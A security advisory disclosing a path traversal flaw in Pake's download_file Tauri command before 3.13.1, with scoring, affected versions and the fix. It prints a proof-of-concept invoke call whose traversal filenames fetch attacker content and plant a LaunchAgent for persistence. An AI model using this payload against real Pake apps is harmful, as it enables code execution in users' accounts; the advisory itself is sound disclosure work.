Pake before 3.13.1 joins the JavaScript-supplied filename for the download_file Tauri command onto the user's Downloads directory with no sanitization. A filename containing path traversal sequences (for example ../Library/LaunchAgents/com.evil.plist) or an absolute path resolves outside ~/Downloads. The command then fetches attacker-controlled content from the supplied URL (via Rust HTTP, not the browser) and writes it to that path. A script that can invoke the command can overwrite user-writable files and install persistence (macOS LaunchAgents, Linux autostart, Windows Startup), leading to code execution in the user account. All desktop apps generated from an affected Pake tree expose the same command.
Affects Pake-generated desktop apps built from a tree before 3.13.1. Exploitation requires the ability to call the download_file Tauri command from the webview. The 8.8 / AV:N score assumes that capability is reachable from the wrapped page (including remote origins), which is the default Pake IPC posture described in the related IPC advisory. Opening the app is the required user interaction. V3.12.0 still joins params.filename unsanitized; V3.13.1 calls sanitize_download_filename.
A proof of concept invokes window.TAURI.core.invoke('download_file', { params: { url: '<attacker-controlled HTTP URL>', filename: '../pake_write_proof.sh' } }) and a second invoke with filename '../Library/LaunchAgents/com.pake.poc.plist'. The files appear under the user home directory, not ~/Downloads. Loading the LaunchAgent (or the next login) runs the fetched payload in the user session.
Upgrade Pake to 3.13.1 or later and rebuild generated apps from that tree. The fix introduces sanitize_download_filename and uses only the final path segment before joining onto the Downloads directory, so ../ and absolute paths cannot escape that directory.